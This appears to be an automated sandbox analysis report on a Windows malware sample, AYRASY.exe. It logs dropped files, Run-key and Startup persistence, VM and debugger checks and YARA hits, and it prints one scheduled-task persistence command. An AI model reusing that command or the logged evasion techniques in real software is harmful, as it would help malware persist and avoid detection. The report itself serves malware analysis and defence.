Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\AYRASY.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AYRASY.exe	File created: C:\Users\user\Desktop\._cache_AYRASY.exe	Jump to dropped file

Source: C:\Users\user\Desktop\AYRASY.exe	File created: C:\ProgramData\Synaptics\RCX4413.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\AYRASY.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WBHUSK.lnk

Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WBHUSK.lnk

Jump to behavior

Source: C:\Users\user\Desktop\AYRASY.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WBHUSK	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WBHUSK	Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018F78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	2_2_0018F78E
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001D7F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	2_2_001D7F0E
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CF78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	9_2_009CF78E
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A17F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	9_2_00A17F0E

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_00191E5A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00191E5A

Source: C:\Users\user\Desktop\AYRASY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Window / User API: threadDelayed 4998			Jump to behavior
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Window / User API: foregroundWindowGot 1423			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	API coverage: 6.5 %
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	API coverage: 3.8 %

Source: C:\Users\user\Desktop\._cache_AYRASY.exe TID: 6708	Thread sleep time: -49980s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7404	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7996	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Thread sleep count: Count: 4998 delay: -10

Jump to behavior

Source: Yara match	File source: 00000007.00000002.3411280080.0000000002D20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3411537097.0000000002D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3411537097.0000000002D97000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 3460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\WBHUSK.vbs, type: DROPPED

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018DD92 GetFileAttributesW,FindFirstFileW,FindClose,	2_2_0018DD92
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C2044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_001C2044
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_001C219F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C24A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_001C24A9
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001B6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	2_2_001B6B3F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001B6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	2_2_001B6E4A
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_001BF350
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BFD47 FindFirstFileW,FindClose,	2_2_001BFD47
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_001BFDD2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A02044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_00A02044
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A0219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	9_2_00A0219F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A024A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_00A024A9
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009F6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	9_2_009F6B3F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009F6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	9_2_009F6E4A
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	9_2_009FF350
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CDD92 GetFileAttributesW,FindFirstFileW,FindClose,	9_2_009CDD92
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	9_2_009FFDD2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FFD47 FindFirstFileW,FindClose,	9_2_009FFD47

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_0018E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

2_2_0018E47B

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: VMware
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.17.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.17.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.17.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: ._cache_AYRASY.exe, 00000002.00000002.3412593994.000000000142A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.000000000072B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.17.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.17.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ._cache_AYRASY.exe, 00000002.00000002.3417393779.00000000047FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: YOABSG.exe, 00000016.00000003.3315057318.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\<
Source: Amcache.hve.17.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.17.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.17.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.17.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.17.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.17.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.17.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.17.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.17.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001C703C BlockInput,

2_2_001C703C

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_0017374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

2_2_0017374E

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001A46D0 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

2_2_001A46D0

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

